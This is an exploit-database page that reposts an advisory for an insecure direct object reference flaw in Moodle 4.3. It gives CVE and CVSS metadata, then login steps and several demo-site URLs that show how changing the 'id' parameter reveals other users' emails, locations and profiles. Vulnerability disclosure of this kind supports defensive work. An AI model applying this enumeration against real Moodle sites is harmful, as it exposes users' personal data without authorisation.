Moodle 4.3 Insecure Direct Object Reference

CVE	Category	Price	Severity
CVE-2021-3640	CWE-269	$500	High

Author	Risk	Exploitation Type	Date
Unknown	Medium	Remote	2024-02-29

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N	0.6219	0.79928

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2024020102

Below is a copy:

Moodle 4.3 Insecure Direct Object Reference

# Exploit Title: Moodle 4.3 'id' Insecure Direct Object Reference (IDOR)
# Date: 20/10/2023
# Exploit Author: tmrswrr
# Vendor Homepage: https://moodle.org/
# Software Demo: https://school.moodledemo.net/
# Version: 4.3+
# Tested on: Linux 


Vulnerability Details
======================

Steps :

1. Log in to the application with the given credentials > USER: teacher PASS: moodle
2. In profile.php?id=11, modify the id Parameter to View User details,
Email address, Country, City/town, City, Timezone
3. Change the existing "id" value to another number 

https://school.moodledemo.net/user/profile.php?id=4
https://school.moodledemo.net/user/profile.php?id=5
https://school.moodledemo.net/user/profile.php?id=10
https://school.moodledemo.net/user/profile.php?id=50

https://school.moodledemo.net/blog/index.php?userid=3
https://school.moodledemo.net/blog/index.php?userid=14

https://school.moodledemo.net/mod/forum/user.php?id=53
https://school.moodledemo.net/mod/forum/user.php?id=50

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